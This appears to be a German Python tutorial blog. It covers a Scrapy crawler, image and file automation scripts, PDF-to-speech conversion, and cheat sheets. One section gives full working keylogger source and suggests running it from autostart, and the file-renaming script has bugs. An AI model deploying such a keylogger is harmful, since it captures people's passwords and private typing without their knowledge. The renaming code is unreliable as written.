Scrapy Tutorial – High-Level Web-Crawling-Framework (Python)

Scrapy ist ein Anwendungsframework zum Crawlen von Websites und Extrahieren strukturierter Daten.

Neben klassischem Web-Scraping kann das Framework auch für das Extrahieren von Daten über APIs verwendet werden.

Es ist zu empfehlen die Installation von Scrapy in einer virtuellen Umgebung vorzunehmen (siehe offizieller Installations-Guide).

In meinem Tutorial werden wir meine Seite educado.io crawlen. Es ist ein altes Demo-Projekt von mir und ist mittlerweile nicht mehr aktiv.

Scrapy Tutorial

  1. Virtual Environment/PIP Scrapy
  2. Einrichtung eines neuen Projektes
  3. Erster Crawler
  4. Extrahieren von Daten in unserem Crawler
  5. Automatisiertes Crawlen von mehreren Links
  6. Finaler Code und Ausführung

Virtual Environment/PIP Scrapy

Es wird empfohlen, für jedes Scrapy-Projekt eine eigene virtuelle Umgebung zu erstellen. Eine Möglichkeit, eine virtuelle Umgebung zu erstellen, ist venv, das in Python enthalten ist.

Zuerst sollte man in dem Terminal zu dem Ordner navigieren indem man das ganze Projekt abspeichern will und dann folgendes eingeben:

py -m venv virtual

Dadurch wird eine virtuelle Umgebung eingerichtet und ein Ordner namens “virtual” mit Unterordnern und Dateien erstellt:

Aktiviert wird die virtuelle Umgebung im Terminal folgendermaßen:

virtual\Scripts\activate.bat

Dann noch Scrapy auf der virtuellen Umgebung installieren und es kann losgehen:

Einrichtung eines neuen Projektes

Jedes Scrapy Projekt beginnt mit indem man in die Konsole scrapy startproject <beliebigerName> eingibt.

Wir nennen unser Projekt Mila:

Jetzt habt ihr in eurem vorher festgelegten Ordner folgende neue Dateien:

Ebene 1
Ebene 2

Ebene 1:

scrapy.cfg: Konfigurationsdatei

Ebene 2:

Spider-Ordner: Der Ordner wo ihr später eure Crawler reinpackt

items.py: Definitionsdatei für Projektelemente

pipelines.py: Für Projekt-Pipelines

settings.py: Für Einstellungen

Erster Crawler

Spider (Crawler) sind Klassen, die wir definieren und die Scrapy verwendet, um Informationen von einer Website zu scrapen. Sie müssen die Unterklasse Spider bilden, optional wie man Links auf den Seiten folgt und wie man den heruntergeladenen Seiteninhalt analysiert, um Daten zu extrahieren.

Dies ist der Code für unseren ersten Crawler. Speichern Sie ihn in einer Datei namens teacher_spider.py im Verzeichnis mila/spiders in Ihrem Projekt:

import scrapy


class QuotesSpider(scrapy.Spider):
    name = "teacher"

    def start_requests(self):
        urls = [
            'https://educado.io/seo/',
        ]
        for url in urls:
            yield scrapy.Request(url=url, callback=self.parse)

    def parse(self, response):
        page = response.url.split("/")[-2]
        filename = f'teacher-{page}.html'
        with open(filename, 'wb') as f:
            f.write(response.body)
        self.log(f'Saved file {filename}')

Um unseren ersten Crawl auszuführen müssen wir (wieder über die Konsole) in unser Projekt reinnavigieren um dann folgenden Befehl zu nutzen:

scrapy crawl teacher

Bevor wir weiter machen schauen wir uns jetzt zuerst einmal den Code an, den wir als teacher_spider.py gespeichert haben.

name: Hiermit legen wir den Namen des Crawlers fest. Diesen brauchen wir um ihn zum Beispiel in der Konsole aufrufen zu können. Das haben wir mit scrapy crawl teacher bereits getan.

Der Name muss innerhalb eines Projekts eindeutig sein, darf also nich mehrfach vorkommen.

start_requests(): Hier legen wir fest welche URLs wir crawlen wollen. Das kann wie in unserem ersten Beispiel anhand einer konkreten URL passieren oder mit Hilfe einer vorher generierten Liste oder Generatorfunktionen etc.

parse(): mit der Parse-Methode wird festgelegt, was mit den gecrawlten URLs passiert. In unserem Fall wird die Seite komplett als HTML Dokument in unseren Ordner gespeichert.

Extrahieren von Daten in unserem Crawler

Bis jetzt extrahiert unser Crawler keine besonderen Daten, sondern speichert lediglich die gesamte HTML-Seite in einer lokalen Datei.

Ein Scrapy-Spider erzeugt typischerweise viele Dictionaries, die die aus der Seite extrahierten Daten enthalten. Dazu verwenden wir das Python-Schlüsselwort yield. Vorher aber noch etwas anderes:

In der folgenden Query gehen wir wieder in unsere Datei teacher_spider.py und vereinfachen zuerst die Art und Weise, wie wir URLs abfragen. Anstatt eine start_requests()-Methode zu implementieren, die scrapy.Request-Objekte aus URLs erzeugt, können Sie einfach ein start_urls-Klassenattribut mit einer Liste von URLs definieren. Diese Liste wird dann von der Standardimplementierung von start_requests() verwendet.

Wir ersetzen also

class QuotesSpider(scrapy.Spider):
    name = "teacher"

    def start_requests(self):
        urls = [
            'https://educado.io/seo/',
        ]
        for url in urls:
            yield scrapy.Request(url=url, callback=self.parse)

durch:

class QuotesSpider(scrapy.Spider):
    name = "teacher"
    start_urls = [
        'https://educado.io/seo/',
    ]

Was wir jetzt wollen ist, von jedem Dozenten auf educado.io/seo/, folgende Informationen extrahieren und abspeichern:

  • Namen
  • Rating
  • Stundensatz
  • Spezialisierungen

Für das extrahieren, müssen wir die Parse Funktion überschreiben. Bevor wir aber die von uns gewünschten Informationen überschreiben, werden wir uns erstmal an eine einfachere Information heranwagen: Die Überschrift:

Um jetzt die Überschrift aus der Website herauszuparsen müssen wir uns erstmal den den html-Code anschauen:

Wir nehmen uns jetzt einfach den Codeausschnitt um die Überschrift drum herum (ob man jetzt einen Tag mehr nimmt der nicht ist egal, wenn man das Prinzip irgendwann raushat):

Bevor wir uns nochmal dem html-Snippet widmen gehen wir jetzt erstmal in die Grundstruktur der Parse-Funktion, die wir jetzt bauen:

Schauen wir uns zuerst response.css(‘tag.class’) an. In der Regel wollen wir mehrere Attribute parsen, also zum Beispiel Namen, Stundensatz, Anzahl Stunden usw.

Die Informationen sind vom Code her in irgendwelchen Tags. Ein Tag kann zum Beispiel ein <div>-Element sein oder auch ein <p>-Tag. Um das zu verstehen ist ein klein wenig Wissen wie ein HTML aufgebaut ist hilfreich.

Die Überschrift steht in <strong>-Tags:

Diese wiederum sind umschlossen von <p>-Tags, diese sind von einem <div>-Tag mit den Klassen elementor-text-editor elementor-clearfix umschlossen, was wiederum mit einem <div>-Tag mit der Klasse elementor-widget-container umschlossen wird.

In response.css(‘tag.class’) schreiben wir jetzt das Tag mit der Klasse bei der wir beginnen, in unserem Fall:

response.css('div.elementor-widget-container')

Jetzt gehen wir in Yield rein: Dort wo im Code Name steht kann jeder x-beliebige andere Begriff stehen. Entscheidend ist, was in a.css(‘tag.class tag::text’) steht.

Jetzt gehen wir die umschließenden Tags im HTML-Code ab, die nach dem div-Tag mit der elementor-widget-container-Klasse kommen:

Das wären: div.elementor-text-editor (die zweite Klasse ignorieren wir), dann kommt p dann strong und dann kommt schon der Text, was mit ::text gekennzeichnet wird.

Im Code schreiben wir deshalb jetzt folgendes:

    def parse(self, response):
        for a in response.css('div.elementor-widget-container'):
            yield {
                'Name': a.css('div.elementor-text-editor p strong::text').get(),
                
            }

Führen wir wieder mit scrapy crawl teacher den Crawler aus und fügen allerdings noch -O teacher.json an, was dafür sorgt, dass wir unser Ergebnis in einer Json-Datei abspeichern. Sehen wir es uns an:

Ergebnis

Wir haben offensichtlich die Überschrift rausgeparst. Das ü wird einfach nicht erkannt, und der Grund, dass in der Json mehrere weitere leere Name Items stehen, liegt daran, dass in der HTML noch Div-Tags mit der elementor-widget-container-Klasse gab.

Wie oben schon geschrieben gehen wir jetzt folgende Informationen der Dozenten an:

  • Namen
  • Rating
  • Stundensatz
  • Spezialisierungen

Fangen wir damit an uns den HTML-Code anzuschauen, der alles umschließt:

Das Tag, was alles umschließt ist das Div-Tag mit der Klasse teacher-card. Das packen wir response.css():

response.css('div.teacher-card')

Für den Dozenten-Namen zeige ich eine Technik, die ich gern zum parsen nutze:

Ergebnis:

'Name': a.css(div.teacher-card-left div.teacher-card-detail-top div.teacher-card-information h1 span::text)

Das muss ich jetzt nur noch in den kompletten Code einsetzen (und speichern nicht vergessen):

Für das Rating und den Stundesatz gehen wir genau so vor. Einen kleinen Unterschied gibt es bei den Spezialisierungen. Schauen wir uns hierzu zuerst das Frontend an:

Es gibt einen Namen, einen Stundensatz und ein Rating pro Dozent aber unterschiedlich viele Spezialisierungen. Das sieht man auch im HTML-Code-Ausschnitt:

Wir müssen hier mehrere Elemente gleichzeit parsen, das machen wir indem wir statt der .get()-Methode die .getall()-Methode nehmen.

Schauen wir uns das im finalen Code an:

Hier die Ausführung:

Automatisiertes Crawlen von mehreren Links

In der Regel will man mit einem Crawler nicht nur bestimmte URL`s einer Website crawlen sondern zum Beispiel alle URL`s aus der Sitemap oder alle aus dem Menü etc.

Für unsere Übungswebsite könnten wir diese Theoretisch händisch unter start_urls eintragen. Umso größer die Website umso mühseliger wird der Prozess, außerdem ist es ja eben genau das Ziel eines Crawlers uns diese eintönige Arbeit abzunehmen und sie zu automatisieren.

Hierfü müssen wir in die Parse Funktion noch folgendes einfügen:

yield from response.follow_all(css='<Strutkur, wie beim Parsen>', callback=self.parse)

Wenn wir wi in unserem Fall das Menü durchcrawlen wollen, müssen wir uns wieder den HTML-Code anschauen:

Uns interessiert bei dem li-Tag auch wieder nur die erste Klasse. Darauf aufbauen müssen wir unseren Code folgendermaßen anpassen:

yield from response.follow_all(css='li.menu-item a', callback=self.parse)

Bei der kompletten Parse-Funktion müssen wir dann nur, wie immer in Pyhton, schauen, dass wir die Tabs korrekt setzen:

Finaler Code und Ausführung

Für die, die das komplette Tutorial übersprungen haben, und direkt hier anfangen ist nur folgendes vor der Ausführung wichtig:

Ihr müsst euch bitte die ersten beiden Kapitel Virtual Environment/PIP Scrapy und Einrichtung eines neuen Projektes anschauen, weil ihr sonst mit dem Code nichts anfangen könnte.

Nachdem das Projekt erstellt und die virtuelle Umgebung gestartet wurde, einfach in den Ordner mila/spiders eine Python-Datei teacher_spider.py anlegen.

Dort kommt dann folgender finaler Code rein:

import scrapy


class QuotesSpider(scrapy.Spider):
    name = "teacher"
    start_urls = [
        'https://educado.io/seo/',
    ]

    def parse(self, response):
        for a in response.css('div.teacher-card'):
            yield {
                'Name': a.css('div.teacher-card-left div.teacher-card-detail-top div.teacher-card-information h1 span::text').get(),
                'Rating': a.css('div.teacher-card-left div.teacher-card-detail-top div.teacher-card-information span.teacher-rating span.rating-number::text').get(),
                'Stundensatz': a.css('div.teacher-card-left div.teacher-card-detail-bottom div.teacher-card-information div.teacher-card-rate div.teacher-card-hourly h2.teacher-price-rate span::text').get(),
                'Spezialisierung': a.css('div.teacher-card-left div.teacher-card-detail-top div.teacher-card-information div.teacher-language h2.teacher-card-tec-language div span.language span::text').getall(),
                
            }
            yield from response.follow_all(css='li.menu-item a', callback=self.parse)

Ausführung dann über die Console mit:

scrapy crawl teacher -O teacher.json

Hier nochmal im Video:

Erstellen eines Keyloggers mit Python

Ein Keylogger ist ein Programm, das dazu dient, jeden auf der Tastatur eines bestimmten Computers getippten Tastenanschlag aufzuzeichnen und abzuspeichern. Ich stelle hier ein Python Skript vor, was genau das tut.

Wir benötigen dafür das Python Modul Keyboard.

Mit diesem Modul können Sie die vollständige Kontrolle über Ihre Tastatur übernehmen, Hotkeys registrieren, Tastendrucke simulieren und vieles mehr.

In dem hier vorgestellten Skript werden die Tastenschläge nach einem vorher definierten Zeitintervall in Texdateien mit Zeitstempel abgespeichert.

Es gibt verschiedene Verwendungsmöglichkeiten für das Skript. Zum Beispiel könnte man es in eine Exe-Datei umwandeln und in den Autostart-Ordner seines Computers packen.

In dem Skript muss noch das Zeitintervall angepasst werden, aller wie viel Sekunden eine neue Logdatei geschrieben werden soll.

Hier sieht man das Skript in Aktion:

Hier das Skript:

import keyboard
from threading import Timer
from datetime import datetime


SEND_REPORT_EVERY = 5 #hier das Intervall in Sekunden eingeben, wie oft eine neue Datei geschrieben werden soll

class Keylogger:
    def __init__(self, interval, report_method="email"):

        self.interval = interval
        self.report_method = report_method
        self.log = ""
        self.start_dt = datetime.now()
        self.end_dt = datetime.now()

    def callback(self, event):
        name = event.name
        if len(name) > 1:
            if name == "space":
                name = " "
            elif name == "enter":
                name = "[ENTER]\n"
            elif name == "decimal":
                name = "."
            else:
                name = name.replace(" ", "_")
                name = f"[{name.upper()}]"
        self.log += name
    
    def update_filename(self):
        start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
        end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
        self.filename = f"keylog-{start_dt_str}_{end_dt_str}"

    def report_to_file(self):
        with open(f"{self.filename}.txt", "w") as f:
            print(self.log, file=f)
        print(f"[+] Saved {self.filename}.txt")

    def report(self):
        self.log
        self.end_dt = datetime.now()
        self.update_filename()
        self.report_method == "file"
        self.report_to_file()
        self.start_dt = datetime.now()
        self.log = ""
        timer = Timer(interval=self.interval, function=self.report)
        timer.daemon = True
        timer.start()

    def start(self):
        self.start_dt = datetime.now()
        keyboard.on_release(callback=self.callback)
        self.report()
        print(f"{datetime.now()} - Start")
        keyboard.wait()
 
if __name__ == "__main__":
    keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file")
    keylogger.start()

Bilder mit Hilfe von Python verkleinern

Mit dem folgenden Python Skript werden Bilder in einem Ordner auf die Größe untersucht. Im zweiten Schritt werden die Bilder, die eine vorher festgelegte Größe überschreiten verkleinert und dann in einem extra Ordner mit neuer Größe gespeichert.

Skipt:

import os
from PIL import Image

#Sorgt dafür, dass in der Konsole, die Größe abgefragt wird
SQUARE_FIT_SIZE = int(input(" Größe eingeben : "))
NEW_FOLDER_NAME = input("Ordner für die neuen Bilder : ")



os.makedirs(NEW_FOLDER_NAME, exist_ok=True)

for filename in os.listdir('.'):
    if not (filename.endswith('.png') or filename.endswith('.jpg')):
        continue 

    im = Image.open(filename)
    width, height = im.size

    # Hier wird geprüft ob die Bildergrößen angepasst werden müssen
    if width > SQUARE_FIT_SIZE and height > SQUARE_FIT_SIZE:
        # Hier wird die neue Höhe und Breite berechnet
        if width > height:
            height = int((SQUARE_FIT_SIZE / width) * height)
            width = SQUARE_FIT_SIZE
        else:
            width = int((SQUARE_FIT_SIZE / height) * width)
            height = SQUARE_FIT_SIZE

        
        print('Resizing %s...' % (filename))
        im = im.resize((width, height))

    im.save(os.path.join(NEW_FOLDER_NAME, filename))

print('Fertig')

Automatisierte Umbenennung von Dateien mit Python

Es kann vorkommen, dass man einen Ordner mit vielen Dateien und verschiedenen Bezeichnungen hat. Wenn man dann die Dateien nach einer bestimmten Logik umbennen möchte, wäre es doch super, wenn wir das automatisieren könnten 🙂

Auch hierfür haben wir ein schönes Python Skript. In unserem konkreten Fall nummerieren wir einfach Bilder, von 1 beginnend. Das geht aber natürlich auch mit anderen Umbennenungslogiken.

Hier das Skript:

import os
img_types = ['jpg' , 'png' , 'jpeg']
for root, dirs, files in os.walk('.'):
    for i,f in enumerate(files):
        absname = os.path.join(root, f)
        img_type = absname.split('.')[2]

        if img_type in img_types :
            newname = '{}.{}'.format(str(i),img_type)
            os.rename(f, newname)

So sieht das ganze dann in Live aus:

Mit Python die Inhalte eines Ordners kategorisieren

Mit Python kann man viele alltägliche Aufgaben automatisieren. Das Skript, was ich euch heute vorstellen möchte, durchläuft einen Ordner und strukturiert ihn nach Kategorien.

Das wird bei den meisten für den Download-Ordner eine sehr hilfreiche Automatisierungsanwendung sein 🙂

import os
import shutil

dir_path = os.path.dirname(os.path.realpath(__file__))

try:
    print("Intro zur Organisation Ihrer Dateien [ images - music - video -executable - archive - torrent - document - code - design files]")
    for filename in os.listdir(dir_path):
        # Prüft, ob es sich bei den Dateien um Bilder handelt und Sie weitere Erweiterungen hinzufügen können 
        if filename.lower().endswith((".png", ".jpg", ".jpeg", ".gif", ".bmp", ".pbm", ".pnm")):
            # Wenn der Ordner images nicht existiert, erstellen Sie einen neuen Ordner
            if not os.path.exists("images"):
                os.makedirs("images")
            shutil.copy2(filename, "images")
            os.remove(filename)

        # Prüt, ob es sich bei den Dateien um Musik handelt und Sie weitere Erweiterungen hinzufügen können
        if filename.lower().endswith((".wav", ".mp3", ".flac", ".3gp", ".aa", ".aax", ".aiff", ".raw")):
            # Bei Bedarf wird ein Musikordner erstellt
            if not os.path.exists("music"):
                os.makedirs("music")
            shutil.copy2(filename, "music")
            os.remove(filename)

        # Videoordner
        if filename.lower().endswith((".webm", ".mp4")):
           
            if not os.path.exists("video"):
                os.makedirs("video")
            shutil.copy2(filename, "video")
            os.remove(filename)

        # Sucht nach Ausführungsdateien
        if filename.lower().endswith((".exe", ".msi", ".deb" , "dmg")):
            # Erstellt ggf. den Ordner dazu
            if not os.path.exists("executables"):
                os.makedirs("executables")
            shutil.copy2(filename, "executables")
            os.remove(filename)

        # Archiv-Dateien
        if filename.lower().endswith((".rar", ".tar" , ".zip" , ".gz")):
            
            if not os.path.exists("archives"):
                os.makedirs("archives")
            shutil.copy2(filename, "archives")
            os.remove(filename)

        # Dokumente
        if filename.lower().endswith((".txt", ".pdf", ".docx" , "doc")):
            # If documents folder doesnt exist then create
            if not os.path.exists("documents"):
                os.makedirs("documents")
            shutil.copy2(filename, "documents")
            os.remove(filename)


        # Code
        if filename.lower().endswith((".py", ".php", ".html" , ".css" , ".js")):
            # If code folder doesnt exist then create
            if not os.path.exists("code"):
                os.makedirs("code")
            shutil.copy2(filename, "code")
            os.remove(filename)
#Kann hier noch beliebig erweitert werden :)

except OSError:
    print("Fehler ...... Probiere es nochmal")
finally:
    
    os.system("cls" if os.name == "nt" else "clear")
print("Fertig ")

So kann dann das Ergebnis aussehen:

Logo zu Bildern mit Python hinzufügen

Mit Python kann man viele alltägliche Aufgaben automatisieren. Mit dem hier vorgestellten Skript fügen wir ein Logo zu Bildern hinzu. Dabei werden die Bilder nicht überschrieben sondern die Bilder mit Logo in einem extra Ordner gespeichert.

Dabei ist es egal ob das Logo zu 2 oder 10.000 Bildern hinzugefügt werden soll.

Folgende Bibliotheken werden benötigt:

os: eine große Bibliothek mit vielen nützlichen Werkzeugen.

image: Bibliothek, die das Zuschneiden, Ändern der Größe, Miniaturisieren, Überlagern und Maskieren von Bildern und Videos ermöglicht.

Skript:

import os
from PIL import Image



LOGO_FILENAME = input('Eingabe des Logonamens mit Dateierweiterung: ')
NEW_FOLDER_NAME = input("Enter The New Folder Name : ")


logoIm = Image.open(LOGO_FILENAME)
logoWidth, logoHeight = logoIm.size

os.makedirs(NEW_FOLDER_NAME, exist_ok=True)
# Schleife über alle Dateien im Verzeichnis
for filename in os.listdir('.'):
    if not (filename.endswith('.png') or filename.endswith('.jpg')) \
       or filename == LOGO_FILENAME:
        continue #Überspringen von Nicht-Bilddateien und der Logodatei selbst

    im = Image.open(filename)
    width, height = im.size


    # Fügt Logo hinzu
    print('Logo hinzufügen zu %s...' % (filename))
    im.paste(logoIm, (width - logoWidth, height - logoHeight), logoIm)

    # Speichert die neuen Bilder
    im.save(os.path.join(NEW_FOLDER_NAME, filename))

print("Fertig")

Konvertieren einer PDF in eine Audio-Datei mit Python

Sehen wir uns an, wie man eine PDF-Datei liest, die eine Text-PDF-Datei in Audio umwandelt.

Es ist ein zweistufiger Prozess, um pdf in Audio zu konvertieren, im ersten Schritt müssen wir die Python-Datei lesen und die Textdaten daraus mit pypdf abrufen. Sobald wir den Text haben, können wir ihn mit dem Python-Paket pyttsx3 in Audio umwandeln und in eine Audiodatei speichern.

Verwendete Pakete:

pyttsx3: Es ist eine Python-Bibliothek für Text to Speech.

PyPDF2: Es hilft, den Text aus der PDF-Datei zu lesen. Eine reine Python-Bibliothek, die als PDF-Toolkit aufgebaut ist. Sie ist in der Lage, Dokumentinformationen zu extrahieren, Dokumente Seite für Seite aufzuteilen, Dokumente Seite für Seite zusammenzuführen usw.

Beispielcode:

import pyttsx3,PyPDF2

pdfreader = PyPDF2.PdfFileReader(open('beispiel.pdf','rb'))

speaker = pyttsx3.init()

for page_num in range(pdfreader.numPages):   
    text = pdfreader.getPage(page_num).extractText()  ## Extrahieren von Text aus der PDF-Datei
    cleaned_text = text.strip().replace('\n',' ')  ## Entfernt unnötige Leerzeichen und Zeilenumbrüche
    print(cleaned_text)                ## Gibt den Text der PDF aus
    
    ## Spricht den Text:
    speaker.save_to_file(cleaned_text,'beispiel.mp3')  ## Speichert den Text im mp3 Format
    speaker.runAndWait()
speaker.stop()

Umgang mit Dateien in Python

Der Umgang mit Dateien ist ein wichtiger Bestandteil jeder Webanwendung.

Python verfügt über mehrere Funktionen zum Erstellen, Lesen, Aktualisieren und Löschen von Dateien.

Die Schlüsselfunktion für die Arbeit mit Dateien in Python ist die Funktion open().

Die Funktion open() benötigt zwei Parameter: den Dateinamen und den Modus.

Es gibt vier verschiedene Methoden (Modi) zum Öffnen einer Datei:

  • “r” – Lesen – Standardwert. Öffnet eine Datei zum Lesen, Fehler, wenn die Datei nicht existiert
  • “a” – Append – Öffnet eine Datei zum Anhängen, erstellt die Datei, wenn sie nicht vorhanden ist
  • “w” – Write – Öffnet eine Datei zum Schreiben, erstellt die Datei, wenn sie nicht vorhanden ist
  • “x” – Create – Erzeugt die angegebene Datei, gibt einen Fehler zurück, wenn die Datei existiert

Außerdem können Sie angeben, ob die Datei im Binär- oder Textmodus behandelt werden soll:

  • “t” – Text – Standardwert. Text-Modus
  • “b” – Binär – Binärmodus (z. B. Bilder)

Um die Datei zu öffnen, verwenden Sie die eingebaute Funktion open().

Die Funktion open() gibt ein Dateiobjekt zurück, das über eine read()-Methode verfügt, mit der der Inhalt der Datei gelesen werden kann:

f = open("textdatei.txt", "r")
print(f.read())

Standardmäßig gibt die Methode read() den gesamten Text zurück, aber Sie können auch angeben, wie viele Zeichen Sie zurückgeben möchten:

Gibt die ersten 20 Zeichen zurück

Sie können eine Zeile zurückgeben, indem Sie die Methode readline() verwenden:

Indem Sie die Zeilen der Datei in einer Schleife durchlaufen, können Sie die gesamte Datei Zeile für Zeile lesen:

Um in eine bestehende Datei zu schreiben, müssen Sie der Funktion open() einen Parameter hinzufügen:

“a” – Append – wird an das Ende der Datei angehängt

“w” – Write – überschreibt einen vorhandenen Inhalt

Öffnen Sie die Datei “beispiel.txt” und überschreiben Sie den Inhalt:

Um eine neue Datei in Python zu erstellen, verwenden Sie die Methode open() mit einem der folgenden Parameter:

“x” – Create – erstellt eine Datei, gibt einen Fehler zurück, wenn die Datei existiert

“a” – Append – erstellt eine Datei, wenn die angegebene Datei nicht existiert

“w” – Write – erstellt eine Datei, wenn die angegebene Datei nicht existiert

Um eine Datei zu löschen, müssen Sie das OS-Modul importieren und dessen Funktion os.remove() ausführen:

import os
os.remove("textdatei.txt")

Um eine Fehlermeldung zu vermeiden, sollten Sie prüfen, ob die Datei existiert, bevor Sie versuchen, sie zu löschen:

Da wir die Datei vorher gelöscht haben, exisiert sie nicht mehr

Um einen ganzen Ordner zu löschen, verwenden Sie die Methode os.rmdir():

import os
os.rmdir("test")

Python Spickzettel für Klassen und Objekten

Python ist eine universelle, vielseitige und beliebte Programmiersprache. Sie eignet sich hervorragend als Einstiegssprache, da sie prägnant und leicht zu lesen ist. Ich persönlich schätze sie vor allem für die vielseitige Einsetzbarkeit, da sie für alles von der Web- über die Softwareentwicklung bis hin zu wissenschaftlichen Anwendung verwendet werden kann.

Hier teile ich meinen persönlichen Spickzettel zu Klassen und Objekten mit euch. Er hat keinerlei Anspruch auf Vollständigkeit.

Python ist eine objektorientierte Programmiersprache.

Fast alles in Python ist ein Objekt, mit seinen Eigenschaften und Methoden.

Eine Klasse ist wie ein Objektkonstruktor oder ein “Bauplan” für die Erstellung von Objekten.

Um eine Klasse zu erstellen, verwenden Sie das Schlüsselwort class:

class MyClass:
  x = 5

Jetzt können wir die Klasse MyClass verwenden, um Objekte zu erstellen:

Die __init__() Funktion

Bei den obigen Beispielen handelt es sich um Klassen und Objekte in ihrer einfachsten Form, die in realen Anwendungen nicht wirklich nützlich sind.

Um die Bedeutung von Klassen zu verstehen, müssen wir die eingebaute Funktion __init__() verstehen.

Alle Klassen haben eine Funktion namens __init__(), die immer ausgeführt wird, wenn die Klasse gestartet wird.

Verwenden Sie die Funktion __init__(), um den Objekteigenschaften Werte zuzuweisen oder andere Operationen durchzuführen, die bei der Erstellung des Objekts notwendig sind.

Erstellen Sie eine Klasse namens Person und verwenden Sie die Funktion __init__(), um Werte für Name und Alter zuzuweisen:

Die Funktion __init__() wird automatisch jedes Mal aufgerufen, wenn die Klasse verwendet wird, um ein neues Objekt zu erstellen.

Objekt-Methoden

Objekte können auch Methoden enthalten. Methoden in Objekten sind Funktionen, die zum Objekt gehören.

Wir wollen eine Methode in der Klasse Person erstellen:

Fügen Sie eine Funktion ein, die eine Begrüßung ausgibt, und führen Sie sie auf dem Objekt p1 aus:

Das Self Parameter

Der self-Parameter ist ein Verweis auf die aktuelle Instanz der Klasse und wird für den Zugriff auf Variablen verwendet, die zur Klasse gehören.

Er muss nicht self heißen, Sie können ihn beliebig nennen, aber er muss der erste Parameter jeder Funktion der Klasse sein:

Python Spickzettel für Funktionen

Python ist eine universelle, vielseitige und beliebte Programmiersprache. Sie eignet sich hervorragend als Einstiegssprache, da sie prägnant und leicht zu lesen ist. Ich persönlich schätze sie vor allem für die vielseitige Einsetzbarkeit, da sie für alles von der Web- über die Softwareentwicklung bis hin zu wissenschaftlichen Anwendung verwendet werden kann.

Hier teile ich meinen persönlichen Spickzettel zu Funktionen.

Eine Funktion ist ein Codeblock, der nur ausgeführt wird, wenn er aufgerufen wird.

Sie können Daten, sogenannte Parameter, an eine Funktion übergeben.

Eine Funktion kann Daten als Ergebnis zurückgeben.

In Python wird eine Funktion mit dem Schlüsselwort def definiert:

def my_function():
  print("Hello from a function")

Um eine Funktion aufzurufen, verwenden Sie den Funktionsnamen, gefolgt von Klammern:

Argumente

Informationen können als Argumente an Funktionen übergeben werden.

Die Argumente werden nach dem Funktionsnamen innerhalb der Klammern angegeben. Sie können so viele Argumente hinzufügen, wie Sie wollen, trennen Sie sie einfach mit einem Komma.

Das folgende Beispiel zeigt eine Funktion mit einem Argument (fname). Wenn die Funktion aufgerufen wird, übergeben wir einen Vornamen, der innerhalb der Funktion verwendet wird, um den vollständigen Namen auszugeben:

Wenn Sie nicht wissen, wie viele Argumente an Ihre Funktion übergeben werden, fügen Sie in der Funktionsdefinition ein * vor dem Parameternamen ein.

Auf diese Weise erhält die Funktion ein Tupel von Argumenten und kann entsprechend auf die Elemente zugreifen:

Sie können Argumente auch mit der Syntax key= value senden.
Auf diese Weise spielt die Reihenfolge der Argumente keine Rolle.

Wenn Sie nicht wissen, wie viele Schlüsselwortargumente an Ihre Funktion übergeben werden, fügen Sie zwei Sternchen hinzu: ** vor den Parameternamen in der Funktionsdefinition.

Auf diese Weise erhält die Funktion ein Wörterbuch der Argumente und kann entsprechend auf die Elemente zugreifen:

Das folgende Beispiel zeigt, wie man einen Standardparameterwert verwendet.

Wenn wir die Funktion ohne Argument aufrufen, wird der Standardwert verwendet:

Sie können beliebige Datentypen als Argument an eine Funktion senden, und sie werden innerhalb der Funktion als derselbe Datentyp behandelt.

Wenn Sie z. B. eine Liste als Argument senden, ist sie immer noch eine Liste, wenn sie die Funktion erreicht:

Um eine Funktion einen Wert zurückgeben zu lassen, verwenden Sie die return-Anweisung:

Rekursion

Python erlaubt auch die Rekursion von Funktionen, was bedeutet, dass eine definierte Funktion sich selbst aufrufen kann.

Rekursion ist ein gängiges mathematisches und coding Konzept. Es bedeutet, dass eine Funktion sich selbst aufruft. Das hat den Vorteil, dass man Daten in einer Schleife durchlaufen kann, um ein Ergebnis zu erzielen.

Der Entwickler sollte bei der Rekursion sehr vorsichtig sein, denn es kann leicht passieren, dass er eine Funktion schreibt, die nie endet oder die übermäßig viel Speicher oder Prozessorleistung verbraucht. Wenn die Rekursion jedoch richtig geschrieben ist, kann sie ein sehr effizienter und mathematisch eleganter Ansatz für die Programmierung sein.

In diesem Beispiel ist tri_recursion() eine Funktion, die ich so definiert habe, dass sie sich selbst aufruft. Als Daten verwenden wir die Variable k, die jedes Mal, wenn wir rekursieren, um (-1) verringert wird. Die Rekursion endet, wenn die Bedingung nicht größer als 0 ist (d. h. wenn sie 0 ist).

Lambda Funktion

Eine Lambda-Funktion kann eine beliebige Anzahl von Argumenten annehmen, aber nur einen Ausdruck haben.

Syntax

lambda arguments : expression

Addiert 10 zum Argument a und gibt das Ergebnis zurück:

Multipliziert Argument a mit Argument b und gibt das Ergebnis zurück:

Die Macht von Lambda zeigt sich am besten, wenn Sie sie als anonyme Funktion innerhalb einer anderen Funktion verwenden.

Nehmen wir an, Sie haben eine Funktionsdefinition, die ein Argument annimmt, und dieses Argument wird mit einer unbekannten Zahl multipliziert:

def myfunc(n):
  return lambda a : a * n